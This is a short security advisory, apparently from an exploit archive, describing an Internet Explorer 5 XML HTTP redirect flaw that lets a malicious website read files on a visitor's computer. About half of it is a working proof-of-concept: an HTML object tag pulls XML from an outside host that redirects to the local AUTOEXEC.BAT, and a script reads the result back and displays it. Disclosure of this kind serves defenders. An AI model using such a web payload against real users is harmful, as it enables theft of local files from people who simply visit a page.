MS IE 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4 XML HTTP Redirect Vulnerability

source: https://www.securityfocus.com/bid/815/info

A vulnerability in the method IE5 uses to process XML data may allow a malicious web site owner to read files on a visiting user's computer. A web page may be created that contains an XML object type that contains instructions to read known files on a visitor's local host (and or domain). The IE5 client will allow the XML redirect to access files within its own domain.

Note that if this vulnerability is exploited for IE5 for Unix, the only reported result is that the application will suffer an "Internal Error" and crash.

<object id="xm" type="text/xml"
data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>
</object>
<SCRIPT>
function f()
{
s=xm.body.innerHTML;
a=window.open();
//alert(s);
a.document.open();
a.document.write("Here is a part of AUTOEXEC.BAT (the error message is
normal):<BR>"+s);
a.document.close();
}
setTimeout("f()",5000);
</SCRIPT>